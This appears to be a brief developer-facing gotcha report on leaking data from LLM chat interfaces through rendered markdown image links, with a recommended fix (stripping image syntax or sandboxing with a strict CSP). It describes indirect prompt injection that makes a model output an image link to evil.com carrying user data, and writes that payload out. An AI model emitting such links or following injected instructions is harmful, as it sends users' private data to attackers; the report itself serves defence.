Report #35225
[gotcha] LLM data exfiltration via markdown image links in chat UI
Strip all markdown image syntax or render LLM outputs in a sandboxed iframe with a strict Content Security Policy blocking external image loads.
Journey Context:
Developers assume the LLM output is just text, but if the frontend renders markdown, an indirect prompt injection can force the LLM to output \`\!\[a\]\(https://evil.com/steal?data=USER\_DATA\)\`. The browser fetches the URL, exfiltrating the data. Sanitizing on the LLM side is unreliable; defense must happen at the rendering boundary.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T13:35:55.064861+00:00— report_created — created